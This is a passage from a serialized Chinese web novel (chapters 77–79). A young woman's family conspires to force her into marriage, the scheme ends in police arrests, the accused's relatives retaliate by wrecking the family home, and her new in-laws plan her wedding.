齐家红见到他,绷了一路的神经终于松弛下来,眼泪像开了闸的洪水,她扑进贺明国的怀里,痛痛快快地哭了起来。 贺明国搂住她,心疼得不知道怎么办是好,皱着眉头问齐小弟:“谁欺负你姐了?” 齐小弟不知要怎么说,今天发生的事实在太丢脸了,即使他这个亲弟弟,也开不了口。 最后他对贺明国苦笑道:“姐夫,能先给我找双鞋穿吗?” 晚上,贺明珠和贺明军回家后,得知了事情的前因后果。 齐家红和齐小弟留在小屋休息,贺家兄妹几个则在大屋商量事情。 贺明军一拍桌子,怒道:“齐家也太欺负人了,当我们贺家没人吗?!” 他怒不可遏,从炕边抽出一根顺手的钢钎,推门就要去齐家讨说法。 “老二,站住!” 贺明国在他身后吼道:“你这是要干什么?去打架吗?!” 贺明军咬牙切齿,像一尊玉面修罗。 “齐家敢这样欺负人,我不能让他们好过,不给他点教训,他就不知道马王爷长了几只眼!” 家人是他的逆鳞,贺二这次是真起了杀心。 贺明国也气,但这毕竟是齐家红的家人,打老鼠怕伤玉瓶,他不愿意伤害到齐家红的感情。 即使他知道这件事的第一反应,也是如同贺明军一般,恨不能到齐家砸他个稀巴烂。 齐家欺人太甚,要不是齐小弟反水,强行将齐家红救了出来,只怕还真要让他们的阴谋得逞! 想到这里,贺明国拦着贺明军的心有些动摇,甚至自己也开始去看院里有没有合适的工具。 眼见要上阵亲兄弟了,这时,贺明珠的声音响起。 “大哥,二哥。” 她叫了俩哥哥一声,说:“现在不是打架的时候,何况,齐家也没几个可打的。” 贺明军道:“明珠,你别拦我,这事你也拦不住我的。” 贺明珠走了过来,神色沉沉,轻声道:“齐家上有老下有小,中间是齐家老大和他媳妇。你不打老人,不打小孩,也不打女人,就只剩下个齐大。可就打他一个人又有什么用?” 贺明军急躁道:“齐家有一个能挨揍的也行,总不能一个人都不打吧!” 贺明珠又问他:“打完了呢?打完接下来要怎么办?” 贺明军被问住了,他从没想过打完人后要怎么办的问题。 贺明珠轻轻地说:“打人只是图一时痛快,但那不够,我要做的,是让齐家悔不当初,此后每天都生活在悔恨中。” 贺明军不解,发散思维道:“你要把齐家烧了?” 贺明珠:…… 贺明军说:“倒也不是不行,你等等,我去找点煤油,这玩意烧起来快。” 贺明国忧心忡忡道:“明珠,咱家可不能做违法乱纪的事啊……” 贺明珠嘴角抽搐:“两位哥哥,动动脑子好吗,你们俩的哪只眼能看出我是会烧杀抢掠的人啊?” 贺明国尴尬地咳了一声,说:“那你要做什么?” 贺明珠没好气地说:“现在最先要做的,是给这件事定性。” “定性?” 贺明军疑惑地问:“这是什么意思?” 他一个晃神,手中的钢钎就被贺明国夺了过去。 贺明国摩挲着钢钎,手感不错,重量刚好,钎头磨得很锋利,用起来一定很顺手,便决定昧下来。 贺明军看他一眼,并不在意,反正这种东西他多的是。 贺明珠没管俩哥哥的小动作,只是说:“叫上家红姐和她弟弟,我们现在要出去一趟。” 贺明国不解,问道:“去哪?” 贺明珠说:“公安局。” 另一边,齐家。 窗户破了个大洞的大屋内,齐大嫂正坐在炕上生闷气。 她姨弟被齐小弟打晕过去,送去了矿医院,医生诊断说是脑震荡,要住院观察几天。 她姨气坏了,在医院走廊指着鼻子打骂齐大嫂,来来往往的病人和家属都凑过来围观,里面还有不少熟人,臊得齐大嫂满面通红。 最后还是护士嫌吵,把他们撵出了病区才算完。 齐大嫂陪着笑脸,又出钱又出力,给姨弟办了住院手续,安顿好了人,这才从医院回了家。 她好心介绍相亲,结果出了这档子事,弄得她里外不是人。 齐大嫂拿脚去踹齐大哥,抱怨道:“你们齐家好大的本事,真是耗子扛枪,窝里横!” 她越说越气:“一家子在外面挣不上钱,有点本事全拿来和自家人藏心眼!你那个妹妹平时看着老实,谁知道她居然敢拿木棒敲人脑袋!还有你那个弟弟,平日里大哥大嫂叫的亲,可砸起咱家玻璃那是一点也不心疼!至于你那个妈,哼,一天天的好像和两个孙子多亲、多关照你这个大儿子,可真遇上事儿了,才知道老东西一颗心都放在闺女身上!我也是看走眼了,怎么就找了你们这一家吃里扒外的东西!” 齐大哥低吼道:“你少说两句!” 他不说则已,一说齐大嫂反而更来了精神,一骨碌从炕上爬起来,插着腰骂: “姓齐的,我可告诉你,这事儿不算完!你弟弟妹妹打了我姨弟,打的还是脑袋!多金贵的地方,你们也敢瞎打!要是有点事儿,我姨家一辈子和你们没完!” 齐大哥不耐烦道:“怎么个没完法?还要怎么办?住院也办了,钱也给了,还想怎么地!” 他已经很生气了,明明安排得好好的事,怎么会中途出了茬子?! 齐老太平时低眉顺眼的,这会儿居然敢为了齐家红和他们对着干;而齐小弟就更出人意料了,他从小到大看着和齐家红也不亲,怎么会这时候替她出头? 齐家红就更不得了了,被锁进屋子里也不慌,先是抓了把扫帚打人,直打得姨弟近不了身;之后更是敢拿着木棒打人脑袋——那医生可说了,打的位置再往上一点,就不只是脑震荡了! 齐大嫂眼睛一转,说:“把你妹妹叫回来,让她嫁给我姨弟,要不然的话,我就要去公安告她打人,判她个游街示众!让她下半辈子都在农场里劳改!” 齐大哥骂道:“你也太心狠了,那毕竟是我妹妹!” 齐大嫂哼笑道:“放你娘的狗屁!你要是拿她当亲妹妹,还会想出把她和我姨弟关一间房的损招?” 齐大哥阴着脸,半天才说道:“彩礼不能少。” 齐大嫂说:“那我可管不了,你自己和我姨家商量去吧。不过话说回来,你妹妹都跑了,临走前说再也不回这个家,你怎么把她弄回来?” 齐大哥不屑道:“她还想跑?妈还在这儿,她能跑到哪儿去?就说妈快死了,我就不信她能不回来!” 话音未落,院外传来敲门声。 齐大哥和齐大嫂对视一眼,别是齐家红回来了吧? 两人披衣下炕,趿拉着鞋去开门。 “你还敢回这个家……” 话还没说完,他们看到门外的不是齐家红,而是几个穿着白色警服的公安。 “公安同志,你们是不是敲错门了?” 齐大哥和齐大嫂一愣,小心地询问道。 领头的公安说:“没敲错,就是你们家。” 接着他询问了齐大哥和齐大嫂的姓名,两人虽然满心疑惑,但也老实回答了。 核实齐大哥和齐大嫂的身份后,领头的公安一挥手,说: “就是这两个人,带走!” 第78章 第78章齐家被砸了 大儿子和大儿媳被公安抓走了! 这件事如同晴天霹雳,恶狠狠地劈在了齐老头的光脑门上。 齐老头倒穿着鞋,夹袄只穿了一只袖子,着急忙慌地跟在来抓人的公安后面,整个人又急又怕,连声地说: “同志,同志,这里面一定有什么弄错的,我儿子儿媳都是好人啊!他们不可能犯法的!同志,你们再和领导核实核实,真的抓错人了啊!” 听到齐老头的声音,齐大哥和齐大嫂挣扎着回头喊道: “爹,快救救我!爹,我不能去坐牢!” “公爹,你快去找我娘家人!” 抓着齐大哥和齐大嫂的公安急忙用力摁住人,免得他们逃跑,同时喝道: “喊什么喊,闭嘴!” “犯罪嫌疑人不准和家属说话!” 齐老头还在哀求:“公安同志,你们抓错人了,我儿子没犯罪,他是好人啊!” 被抓着胳膊的公安试图拉开他的手:“老大爷,你先放开手,你儿子儿媳犯没犯罪要等侦查结束才能确定,你现在拉着我也没用。” 齐大哥扯着嗓子喊:“冤枉,冤枉啊!” 齐老太拉着大孙子,抱着小孙子,脚步踉跄地跟在了最后,俩孩子被这阵仗吓得哇哇大哭。 “妈妈,我要妈妈!” 一时间,夜晚小巷的寂静被哭声吵闹声呼喝声打破,邻居们闻声纷纷打开院门,探出头来围观。 “哎呀,这是怎么回事?” “出什么事了,齐家老大和他媳妇怎么被公安逮捕了?” “他们俩这是犯罪了?不应该啊,看着挺 老实的两个人,怎么会做违法乱纪的事呢?” “那可不一定,知人知面不知心,谁知道这两口子私下里干什么事了?要不公安怎么不去抓别人,光抓他俩呢?” “说得也是,做坏事的人也不会满世界宣扬自己干了点啥。” “齐家闺女呢?还有他们家老小呢?这俩怎么没见啊?” 有胆大的邻居凑过去问公安,齐家老大这两口子是犯什么罪了?是杀人还是放火? 这要是不说清楚,邻里邻居天天挨着住的,实在让人不安心啊。 一边是齐老头追着不放,另一边是邻居们紧张不安,领头的公安考虑片刻后,对众人说道: “齐家和、吴赶美夫妻涉嫌参与一起强|奸案,公安部门依法对犯罪嫌疑人实施逮捕,以进行讯问侦查,还请大家不要干扰我们的司法行动。” 齐家和、吴赶美正是齐大哥、齐大嫂的大名。 从公安口中听到“强|奸”两个字,人群轰得一下吵闹了起来。 “什么,齐家两口子居然敢干这种下作事?!” “真是看不出来,我还当他们是正经人,谁知道啊……” “我早就看齐家老大不顺眼了,看人的眼神贼溜溜的,天天不知道在琢磨什么坏主意。” “也不知道是哪家姑娘被他们害了……这对畜生不如的东西!” “造孽呀,造孽呀!” 还有人急忙拉着自家孩子嘱咐: “以后可不敢和齐家那俩孩子玩了,听见没?” “没家里大人陪着,不许你从齐家门口那条路走!” “幸好你和齐家孩子一向处不来,不然……” 齐老头听到“强|奸”二字后,整个人像是被雷劈了,定在了原地。 他的两条老腿灌了铅似的,再也抬不动了。 齐老头呆立原地,木楞楞地看着公安将大儿子和大儿媳押进警车,嘀呜嘀呜地鸣着笛开走了。 直到警车尾灯消失不见,他才注意到邻居们鄙夷的视线,迟一步感到脸上火辣辣的灼烧感。 这些都是几十年的老邻居老同事了,平日里相处也算融洽,如今却用看犯人的眼神来看他。 齐老头从没丢过这么大的脸,又羞又气,转身就走。 路过带着两个孙子的齐老太时,他脚步不停,低吼道:“留在外面干什么?嫌不够丢人的吗!” 齐老太抱着孙子急急追上去,问他:“那老大两口子怎么办?他们可是被公安抓走了啊!” 齐老头恶狠狠地瞪了她一眼:“怎么办?你问我怎么办?还不是你养的好闺女!” 老大夫妻被公安抓走的事和齐家红有什么关系? 齐老太一愣,想再问时,齐老头已经甩手回了小屋,把屋门重重一砸。 大孙子惶恐不安地拉着齐老太的衣摆,带着哭腔地说:“奶奶,我要爸爸妈妈……” 小孙子哭得嗓子都哑了,直倒噎气。 齐老太一手一个,拉着他们慢慢回了棚屋。 “唉,唉……” 这一夜,人心惶惶,没有人能睡着。 第二天,天还没亮,就听到院门传来砰砰砰的砸门声。 出了前一晚的事,齐老太不敢开门,隔着门小心地问:“谁啊?是谁在敲门?” 外面声音乱哄哄的,有男有女,其中一道尖利的中年女声嚷嚷着说: “开门!你们齐家都敢干出这种事了,难道连门都不敢开吗?!给我开门!” 重重两声响,木头做的院门摇晃了两下,是外面的人在踹门。 这下,齐老太更不敢开门了。 “你们是来找谁的?家里现在老的老小的小,实在没有你们要找的人,你们走吧……” 中年女声暴怒道:“装什么怂?!让齐家和吴赶美给我出来说话!敢干出这种害亲戚的事,就不敢当面承认吗?!开门!” 砰砰砰,又是几下踹门。 齐老太一听是来找大儿子大儿媳的,可他们俩已经被公安带走了。 昨夜她站得离人群远,并没有听到公安说了什么,只知道老大两口子犯事儿被抓了,其他的都不清楚。 见有人气势汹汹地砸门找大儿子大儿媳,她本能地觉得不安,缩在门旁,竟是连话都不敢说了。 外面砸门骂人的声音持续了好一阵才消停,木门都被踹出好几条裂缝。 外面没了声音,齐老太悄悄靠近院门,掀开门洞盖帘,看看外面人走了没。 然而,头顶上忽然传来一道年轻男人的声音。 “心虚了,不敢开门是吧?爷爷我自己来开!” 墙头上,一个年轻男人翻过了墙,跳进了院中,一把推开门边的齐老太,取下了门栓,用力拉开了院门。 门一开,门外的人忽地一下全都涌了进来,围住了齐老太,七嘴八舌地问: “老太婆年纪挺大的,一点事都不懂,关起门就想当事没发生啊,没门儿!” “你们家的人都哪儿去了?怎么就你一个?不会是知道我们要来,都躲出去了吧?” “齐家和吴赶美呢?让他们都给我出来!” 暴怒的中年女人冲进院中,将每一个屋子的门都拉开去看,除了两个哭闹不止的小孩以外,就只找到在炕上抽烟的齐老头。 “齐家和吴赶美在哪儿?!” 小屋里浓浓的烟味,满地都是烧尽的烟灰。齐老头盘腿抽着闷烟,一声不吭。 中年女人冲上去夺了他的烟,扔在地上,用脚狠狠地碾了两下,直将烟叶碾成碎末。 “老东西问你话呢!” 齐老头不动,咳了两声,说:“被公安抓走了。” 中年女人一愣:“什么,也被公安抓走了?” 此时在院内,一个老太婆也发出同样的疑问:“你家老大两口子都被公安抓走了?” 齐老太认出这个老太婆是齐大嫂的亲姨,忽然想起昨天齐家红被关在屋里时,那个矮壮男人就是齐大嫂的姨弟。 她心里浮现起不安预感,勉强堆起笑说:“亲家姨姊,家和赶美昨天晚上就被公安带走了,我也弄不清是什么事,正打算今天去公安问问呢……” 老太婆冷哼一声,说:“什么事,能是什么事?还不是你们家偷鸡不成蚀把米!口口声声说要把你闺女介绍给我儿子,先是打伤了我儿子,又反咬一口说是强|奸,害得我儿子伤还没好,就被公安从医院带走了!” 齐老太听得心惊肉跳,这才弄明白究竟发生了什么事。 是齐家红! 是她去公安局报的警,让公安把齐大哥齐大嫂,还有齐大嫂的姨弟都抓走了! 看看老太婆带来的一群人,齐老太有种不祥的感觉,这事怕是不能善了了…… “亲家姨姊,你别急,咱们一起去公安局问问,说不定是弄错了呢……” 齐老太还在做最后的努力。 “我让我闺女好好和公安说一说,把她大哥大嫂,还有你儿子,都放出来。一家子亲戚,怎么能闹成这样,她不懂事,我说说她……” “不懂事?” 老太婆恨声道:“昨天夜里我们就去公安局了,人家公安说了,你闺女咬死了我儿子要强|奸她,谁劝都不行,说什么也不和解,逼着公安要依法处理。还说公安要是不管的话,她就要去找记者,上政府告状,把事情彻底闹大!” 齐老太惊道:“她咋能这么做?这不是连自己个儿的名声都不要了吗?” 老太婆咬牙切齿地说:“就是你们家干的好事!我儿子好端端一个人,都被你们给害了!” 她指着齐老太的鼻子破口大骂:“你们一家子畜生,老畜生养了一窝小畜生,干的都是畜生事!” 对方人多势众,齐老太不敢还口,低头哈腰的,一心只想息事宁人,让对方早点出了气离开。 她抱着两个孙子,被人围着骂,心里对齐家红不由得怨了起来。 这闺女咋能干出这种事呢? 就算她不替自己想一想,就不能替家里想一想吗? 现在好了,她倒是一时痛快了,自己个儿的清白名声没了,亲 大哥两口子被公安抓走了,亲家姨姊一家也得罪了。 以后她还怎么做人,让这一家子还怎么做人? 另一边,齐老头被中年女人拽出了小屋,拖着他走到众人面前。 “齐家红在哪里?!”老太婆逼问他。 齐老头闷闷地说:“我不知道。” “你闺女去了哪儿,你这个当爹的能不知道?” 老太婆完全不信,说:“你要是老老实实把她在哪儿说出来,我们也就不和你们两个老东西计较了,要不然的话,有你们好看的!” 齐老头梗着脖子说:“不知道就是不知道!她已经不是我们家的人了,这辈子都不许她回这个家!” 他说的是实话,但对面的人压根不相信,只觉得这是隐瞒的借口。 老太婆怒道:“你到底说不说?!” 其他人七嘴八舌地跟着骂: “老不死的还挺宠闺女,宁愿让儿子坐大牢,也不说出闺女下落……” “难怪能养出这样不要脸的女儿,敢当着别人面说自己被强|奸,上梁不正下梁歪,什么脏的臭的都敢往外说。” “老东西嘴还挺硬,也不知道那一把老骨头是不是和嘴一样硬……” “打不着小的,还打不着老的吗?再不说出来,我要你好看!” 齐老头被骂得瞪起了眼睛,直喘粗气,怒道:“我说了,她已经不是我家的人了!” 从昨天到今天发生了太多的事,他作为一家之主的权威被挑战,男性尊严被践踏,此时又被一群外八路的亲戚围着羞辱。 齐老头火气上头,已经被烧昏了头脑,只想将一腔愤怒全部发泄出去,根本不考虑敌我之间的实力差距。 他冲着对面的年轻人挥舞拳头,吼道:“打啊!有本事你就打死我!” 老太婆被气笑了,拦住蠢蠢欲动的年轻人,手一挥,说道: “砸,把他们家都给我砸了!” 一群人如饿狼一般蜂拥而上,也不管是什么,拿着砖头铁锹就往上面砸。 一时间,屋子的玻璃都碎了,暖壶被打烂,碗盘被砸碎,柜子被翻倒在地,镜子被打了个稀巴烂。 齐老太张着双手,试图阻拦,哭喊道:“不能砸,不能砸啊……” 两个孙子被吓得哇哇大哭。 齐老头怒吼一声,随便挑了个人,冲着人家就一头撞过去,结果被人一脚就踹到了地上。 齐家闹得动静太大,周围邻居们都听到了,纷纷跑出来看。 “这是谁,怎么砸人家东西啊?” “齐家又招惹到什么人了?” “这是不是被强|奸那家的……” “别管是哪家的,也不能打老人啊!” “快去报警!” 听到有人要报警,老太婆急忙喊了停,带着一群人大摇大摆地走了,留下身后满地狼藉。 齐老太软倒在地,爬到齐老头跟前,连连摇晃着他。 “老头子,老头子,你怎么样了?” 齐老头直愣愣瞪着眼看着天空,一句话也不说。 他的家,他的儿女,他苦心维系的家主地位,就这么全盘崩塌了。 齐老太以为齐老头被人打坏了,哭着对邻居们喊道: “老头子不行了,快叫救护车啊……” 贺家。 齐小弟脸上的伤痕全部肿了起来,加上涂的红药水紫药水,一张脸像是开了大染坊,赤橙青蓝紫,什么色儿都有。 他眯缝着眼睛,小心端详着齐家红的神色,问道: “姐,要不回家看看吧?” 听到问题,正在收拾屋子的齐家红一顿,没回头,淡淡地说: “你回吧,我就不回了。” 齐小弟一急,嘴长大了些,扯到了伤口,嘶地倒吸一口冷气。 他顾不上疼,忙说道:“姐,该报案的也报了,现在大哥大嫂还有那个男人都被抓起来了,家里就剩咱爸妈,还有什么事儿说不开的?” 齐家红放下手里的东西,转过身,对齐小弟说: “你也听到了,昨天临走前爸说了,我要是出了这个门,就再也不是这家的人了。” 齐小弟急道:“爸那是说的气话,一家人哪有隔夜仇?再说了,难道你不想妈吗?妈昨天为了你可是大大地得罪了爸,你就不怕她在家里又受委屈吗?” 齐家红轻轻地说:“我知道。可是,我不能再回去了。” 齐小弟不解道:“有什么不能回去的?反正老大两口子都去劳改了,家里就你我爸妈,没人再欺负你。而且大屋也空出来了,你和妈正好搬过去住。” 他还年轻,心里总觉得要一家和睦,血亲骨肉,哪有什么过不去的坎儿呢? 在这个家里,齐小弟也不是没受过委屈,但他受的委屈大多来自齐大哥和齐大嫂,仗着长兄长嫂的身份,动辄训斥他,还不让齐老头给他花钱。 平时家里难得吃次肉吃次糖,他们拦着不让齐小弟多吃,美其名曰他是做叔叔的,不能和侄子们抢吃食,气得齐小弟背地里骂了许多次。 这次贺明珠要报警,除了告齐大嫂姨弟强|奸以外,还要告齐大哥齐大嫂协助强|奸。 她要求齐小弟作证,他犹豫了一下就同意了。 毕竟老大两口子这次做事太不地道,拿自家亲妹当货物卖,还害得他被人打了一顿,差点没给他打吐血。 这样的兄嫂,有还不如没有。 去公安报完案,关上门只有他们姐弟两个时,齐小弟还是想劝齐家红回家。 “都是亲爹亲妈,有什么话说不开呢?再说了,我们也不能一直住在贺家吧,还是得回自己家啊。至于大哥大嫂,你就当没他们这俩人好了。” 然而,齐家红平静地说:“大哥大嫂能干出这样的事,我早就不拿他们当亲人了。” “至于爸,我和他的父女关系也彻底结束了。” 这话说得重,齐小弟急了:“这,这,这怎么至于呢?不至于啊!” 齐家红看了他一眼,说:“不至于吗?我觉得,很至于呢。” “爸明明知道我是要和贺明国结婚的,却为了彩礼,默许了大哥大嫂的打算。他都不拿我当闺女了,我还怎么拿他当爹?” 齐小弟心中一跳,想起昨天齐老头的奇怪表现,以及他说的那句话——“我不知道”,“不该管的事不要瞎管”。 齐老头可能确实没有参与到齐大哥齐大嫂的计划中,但他知道,却什么都不干,冷眼看着不知情的齐家红被骗入大屋。 这样的人,还能被称之为“爹”吗?还配做一个父亲吗? 齐小弟只好说:“那妈呢?你不管妈了吗?” 齐家红沉默了许久,没说话。 齐小弟见说不动姐姐,只好自己找了块围巾包在脑袋上,遮住脸上的伤口,独自回了家。 才走到家门口,他就是一惊。 家里像是台风过境,满地的狼藉,连个下脚的地方都没有。 齐小弟急忙冲到小屋,见齐老头挺在炕上,齐老太正忙前忙后地给他擦脸擦手,倒水喂饭。 “爸!妈!” 见是小儿子,齐老太的眼泪一下就掉了出来。 “我的儿啊!你怎么被打成这样了!” 母子抱头痛哭,过了好一会儿,才说清楚发生的事。 齐小弟义愤填膺,猛地站起来,怒道:“他们太过分了,居然敢砸我们家!我要去公安告他们!” 齐老太连忙拽住儿子,说:“可不敢这么干!家里的事已经够多了,你不能再添乱了!” 齐小弟急道:“妈,难道就眼睁睁看着人家欺负我们吗?!” 齐老太垂泪道:“唉,还不是怪你姐,明明事情都解决了,她还要报什么警,现在好了,你大哥大嫂被公安抓走,亲家姨姊的儿子也被公安抓走,咱们两家算是彻底结下梁子了。” 齐小弟一听这话不对,忙说:“这和我姐有什么关系,还不是他们自己造孽?” 齐老太却说:“女人家名声最要紧,强|奸这种事怎么能随便往外说,那还不叫外人看笑话?别说是没出事,就算是真出事了,也要咬碎牙往肚子里吞!” 齐小弟急得团团转:“妈,你昨天可不是这么说的!你不是一直在拦着吗?!” 齐老太说:“昨天是昨天,可现在不一样了,既然你姐没出事,这事儿悄没声儿地过去了就算完,只当从没发生过。但让你姐这么一报警,全天下的人都知道了,那还不丢人丢大发啊……” 齐小弟不敢相信母亲居然会是这样的想法,气得大喊道:“不丢人!谁丢人也轮不到我姐丢人!” 在炕上挺尸的齐老头忽然暴起,冲着齐小弟就是重重一耳光。 “不知羞耻的畜生!” 这话也不知道是在骂齐小弟,还是在骂齐家红。 齐小弟被打得脸歪到一边去,他捂着脸,转过头不敢置信地看着齐老头。 齐老太连忙把他拉到外面,劝道:“别和你爹顶着,他正在气头上呢。” 齐小弟满腔愤怒,又不知该发泄到哪儿,重重踢了一脚地上的石头。 齐老太碎碎念道:“你回来了正好给我搭把手,你大哥大嫂不在,两个侄子都要人照顾;家里也被砸了,还得去重新置办暖壶碗盘……你爸又被气着了,起不来炕,家里的事就靠我一个……你姐也不回来,要不还能多一个人帮忙带孩子……” 齐小弟越听越烦躁,冲动道:“妈,你和我走吧,去找我姐,我们三个一起过日子!” 齐老太被吓一跳,连连摆手:“瞎说什么!你姐是要嫁出去的闺女,怎么能带上妈和弟弟,让人贺家知道了还不得有意见!再说了,这家里离不开我,你侄子离不开,你爸更离不开。我要是不在家,还不知道他们要怎么过日子呢……” 齐小弟越听越郁闷,不愿意再听齐老太唠叨。 他不想回和齐老头同住的小屋,又不想去被砸得稀烂的大屋,转头进了棚子,一头扎在齐家红的铺位上。 唉,这个家,怎么会成现在这样呢? 他不由得开始怀念起了贺家的氛围。 端正严肃的贺明国,其实是个护雏老母鸡,恨不能张开翅膀,时时刻刻把弟妹都保护在身下;玩世不恭的贺明军,看着混不吝,但却随时准备对任何可能伤害他家人的人进行反击。 三头身的贺小弟,人还没膝盖高呢,满嘴都是“我哥厉害我姐最厉害”。 至于贺明珠,一副笑眯眯的温和模样,实际上心黑手狠,敢犯到她家人的都等着伸着脖子挨宰吧。 齐小弟翻了个身,重重叹口气。 他怎么就没运气有这样的家人呢? 第79章 第79章就是要大办婚宴(补完)…… 这一边,齐小弟还在羡慕贺家的和睦氛围,另一边,贺家兄妹几个都快吵起来了。 “我不同意你们的决定,这不是什么需要遮遮掩掩的事。” 贺明珠对着贺明国斩钉截铁地说:“要办就大办特办,办的热热闹闹,喜气洋洋,让所有人都知道我们贺家的大喜事。” 贺明珠很少用这种不容质疑的语气对他说话,贺明国一时有些反应不过来,慢了一拍才说: “但,但这是你大嫂的想法,她有她的顾虑。” 贺明军站在贺明珠的一边,也说:“老大,这就是你的不对了,人生能有几次这样的大事,你应该劝一劝嫂子。” 贺小弟懵懵懂懂,他还没到能听懂大人间讨论的年纪,只明白似乎是大哥和姐姐对同一件事有不同的想法,下意识就要支持贺明珠。 “我姐说得对,应该听姐的!” 贺明国弯下腰,一把抄起贺小弟,将他高高举起来,在空中抛了两圈,直抛得这小子连声尖叫。 “你这个小马屁精,什么都是你姐说得对,你大哥说的就不对吗?” 贺小弟玩得兴奋,被贺明国放下后,他举着两只小手,连连往大哥身上跳。 “再来一次,再来一次!” 贺明国从善如流,揪着小弟的后脖领就把他往天上抛,中途玩心大起,拎起贺小弟就往贺明军的方向丢。 “接好了!” 贺明军敏捷地一把抱住被扔过来的贺小弟,抓着他的两只小脚就来了个倒栽葱,乐得这小子嘎嘎直笑。 小狗也被人类的欢快气氛所感染,在几人腿间跳来跳去。 贺明珠忍不住笑了,笑完了就对贺明国说: “大哥,这事儿就这么定了,至于大嫂那儿,我去和她说。” 贺明国想拦一下她,却被贺明军喊住:“给你,接住!” 他一抬手,贺小弟又被扔回给了贺明国。 这孩子皮实,被像沙包似的扔来扔去也没急眼,只觉得好玩,俩哥哥手劲大力气也大,抱他的时候稳稳的,扔起来腾空的时候刺激极了。 被这么一耽误,贺明国没追上贺明珠,眼睁睁看着她进了齐家红所在的小屋。 齐家红正在收拾屋子,将这个简陋的前男生宿舍布置成她和贺明国婚后的小窝。 贺家面积小,只有一大一小两间屋子。 大屋面积是小屋的两倍,以前是贺父贺母带着贺明珠和贺小弟住,现在只有姐弟两个睡在大炕上。 小屋窄窄的一小间,只放得下一张炕和一张桌子,下了炕走两步就出了门,一直是贺明国和贺明军两兄弟挤着住。 贺明国决定婚后和齐家红住小屋,而大屋中间做个隔断,贺明珠住炕头一边,贺明军带着贺小弟睡炕尾。 这样虽然拥挤了些,但也能将就住下一家五口,总比那些在院里搭棚子的家庭要好过一些。 等将来矿上分了房子,到时候就能住得宽裕些。 贺明国找关系买了点砖头水泥,在大屋砌了一堵薄薄的墙,并用贺母前几年屯的白棉布做了两张门帘,就这样勉强在大屋隔出了两间单独的卧室。 等墙砌好后的第一天晚上,贺小弟被贺明军带着睡,他充满疑惑地问:“二哥,你弄错了吧,我应该是和姐一起睡的呀。” 贺明军轻轻抽了一巴掌小弟的胖屁股,说:“你小子想得还挺美,还想睡你姐的闺房,没门儿啊,你以后都得和我一起睡了。” 贺小弟更迷惑了。 “龟房?什么是龟房?乌龟的房间吗?” 贺明军:…… 一墙之隔,贺明珠听到这话后差点没喷出来。 总之,在适应了几天后,贺小弟终于被迫习惯和二哥同床共枕的时候,并在每一天早上睡醒后,一扭一扭地爬下炕,哒哒哒跑到贺明珠那一边,从门帘下钻进来,委屈巴巴地凑到贺明珠跟前。 “姐,二哥他晚上睡觉拿脚踹我……” 贺明军的声音隔墙传来:“你小子瞎扯什么,分明是你睡着了就满炕打滚,从床头翻到床尾,自己睡到我脚边的好不好?” 贺小弟只当没听到,星星眼盯着贺明珠:“姐,我都被二哥踢了,今天能不能吃两个鲜肉包子呀?” ——自家亲姐做的肉包子实在太好吃了!如果可以,他要每天早上吃十个肉包子! 可是姐经常说什么“挑食”“消化不良”“营养不均衡”之类的奇奇怪怪的词,规定他早上只许吃一个肉包,还要搭配一个素包。 唉,素包也不是不好吃,可是他只爱肉包嘛…… 贺明军下了炕,掀开门帘,把贺小弟揪出去,顺便扔下一句:“给这小子吃素包,也省得他吃得一身肉,睡着了冷不丁踢人一脚还挺疼的。” 贺小弟如遭晴天霹雳,惨叫一声:“不要啊!” 贺明军和贺小弟的 同床共枕还在磨合中,贺明国和齐家红已经步入了快乐的婚姻生活。 两人早就领了结婚证,加之感情深厚,正在浓情蜜意之时,同居是顺水推舟的事。 自从齐家红住进贺家,贺明珠充分感受到了当甩手掌柜的快乐。 太幸福了! 每天睡醒了就有热乎乎的早饭吃,晚上回家时,灶上温着一壶热水和一锅粥。 家里天天都被打扫得干干净净,就连贺小弟这个邋遢的小皮猴也有人收拾了,不用再追着他屁股后面,擦那两行都快流进嘴里的小鼻涕了。 齐家红是个勤快人,眼里有活,手脚麻利,才来了没两天,就把贺家从里到外彻底收拾了一遍,连着小菜地也来了一套除草施肥的小连招,大葱似乎都长得更挺拔了。 而且由于齐家红在小学上班,每天工作时间规律,与值班时间不定的贺明国、忙于饭店生意的贺明军,以及疯狂临考冲刺的贺明珠相比,她是更顾家的那个人,特别是如今她已经把贺家当成自己唯一的家。 她全心全意地对待家人,毫无保留的呵护与关爱,让最难接受外人的贺明军,都从心底接纳了这个新来的大嫂。 更不用说贺小弟和贺明珠。 在三男一女的贺家,贺明珠许多时候都觉得自己住进了男生宿舍。即使大哥二哥小弟再体贴,也比不上一个真正的女性亲友。 至少她来月经、蹲在公厕进退不得的时候,齐家红会把卫生带送进来。 在她不方便沾冷水的时候,齐家红还会替她把不小心染上血迹的经期裤子洗了。 看到那条被洗的干干净净的裤子的时候,贺明珠简直要感动哭了。 大嫂赛高! 她爱大嫂! 只是在关于婚礼的事情上,齐家红有不同的看法。 作为对家里付出最多的老大,贺明珠和贺明军都想将贺明国的婚礼办得热热闹闹,将所有的亲朋好友都请来参加。 这场婚礼会一扫之前父母去世的阴霾,宣告所有人,贺家的孩子们已经长大了,他们擦干了眼泪,一步一个脚印,继续在人生之路上前行。 但贺明国和齐家红却不想婚礼办得太大,只打算一家子人凑在一起吃顿饭,就算是婚宴了。 反正他们已经领了证,婚礼办不办的也无所谓。 贺明国是个标准的好丈夫,秉持着跟着党走、听媳妇话的标准。 贺明珠见说不动贺明国,便来找齐家红,从她这里切入。 齐家红低声地说:“明珠,我知道你是为了我们好,但……” 她没再说话,露出难言之隐的神色。 贺明珠拉着齐家红的手,两人亲密地并肩坐在炕边。 “大嫂,你是觉得没有娘家人送嫁场面不好看吗?你别担心,我会想办法让你妈和你弟弟来参加婚礼的。” “也不是因为这个。” 齐家红说犹豫了一下,才说道:“是强|奸案的事。” 这个案子在一矿闹得还挺大,毕竟这是国企地盘,家属区里又都是低头不见抬头见的熟人,和外面混乱的社会不一样,这里连偷盗案件都很罕见,更别说是恶性程度如此高的强|奸案。 这年头民风还算淳朴,大家心中都有明确的善恶标准,黑就是黑,白就是白,强|奸就是重罪,犯人罪大恶极,就该枪毙。 齐大嫂姨弟被公安逮捕后,他家里人上蹿下跳,试图将他救出来。 但无果,毕竟国企家属区里出现罕见的恶性案件,连国企领导和上级政府部门都予以过问,下面的人就算想做手脚,也不敢拿自己的乌纱帽冒险。 见救不出来人,姨弟还要被作为典范,拉出来游街示众、进行公审,他家里人气疯了,满世界宣扬是齐家害了他们——尽管齐大哥和齐大嫂也在被公审的犯人行列中。 